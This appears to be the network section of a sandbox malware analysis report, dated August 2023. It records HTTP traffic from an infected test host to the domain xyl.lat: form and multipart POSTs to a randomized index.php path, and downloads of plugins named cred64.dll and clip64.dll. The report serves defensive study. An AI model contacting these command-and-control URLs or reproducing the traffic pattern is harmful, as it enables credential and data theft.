Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| xyl.lat | 37.139.129.124 | |
| files.slezer.cc | 174.138.39.230 |
- TCP Requests
-
-
192.168.56.103:49178 174.138.39.230:443files.slezer.cc
-
192.168.56.103:49179 174.138.39.230:443files.slezer.cc
-
192.168.56.103:49180 174.138.39.230:443files.slezer.cc
-
192.168.56.103:49176 37.139.129.124:80xyl.lat
-
192.168.56.103:49177 37.139.129.124:80xyl.lat
-
192.168.56.103:49183 37.139.129.124:80xyl.lat
-
POST
200
http://xyl.lat/2BfwEnWXSKj6KgTm/index.php?scr=1
REQUEST
RESPONSE
BODY
POST /2BfwEnWXSKj6KgTm/index.php?scr=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=----ODcwMjE=
Host: xyl.lat
Content-Length: 87173
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Aug 2023 08:24:35 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
POST
200
http://xyl.lat/2BfwEnWXSKj6KgTm/index.php
REQUEST
RESPONSE
BODY
POST /2BfwEnWXSKj6KgTm/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: xyl.lat
Content-Length: 90
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Aug 2023 08:24:30 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
POST
200
http://xyl.lat/2BfwEnWXSKj6KgTm/index.php
REQUEST
RESPONSE
BODY
POST /2BfwEnWXSKj6KgTm/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: xyl.lat
Content-Length: 31
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Aug 2023 08:24:34 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
GET
200
http://xyl.lat/2BfwEnWXSKj6KgTm/Plugins/cred64.dll
REQUEST
RESPONSE
BODY
GET /2BfwEnWXSKj6KgTm/Plugins/cred64.dll HTTP/1.1
Host: xyl.lat
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Aug 2023 08:25:19 GMT
Content-Type: application/octet-stream
Content-Length: 1110016
Last-Modified: Tue, 01 Aug 2023 04:10:26 GMT
Connection: keep-alive
ETag: "64c885b2-10f000"
Accept-Ranges: bytes
GET
200
http://xyl.lat/2BfwEnWXSKj6KgTm/Plugins/clip64.dll
REQUEST
RESPONSE
BODY
GET /2BfwEnWXSKj6KgTm/Plugins/clip64.dll HTTP/1.1
Host: xyl.lat
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Mon, 28 Aug 2023 08:25:22 GMT
Content-Type: application/octet-stream
Content-Length: 91136
Last-Modified: Tue, 01 Aug 2023 04:10:21 GMT
Connection: keep-alive
ETag: "64c885ad-16400"
Accept-Ranges: bytes
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts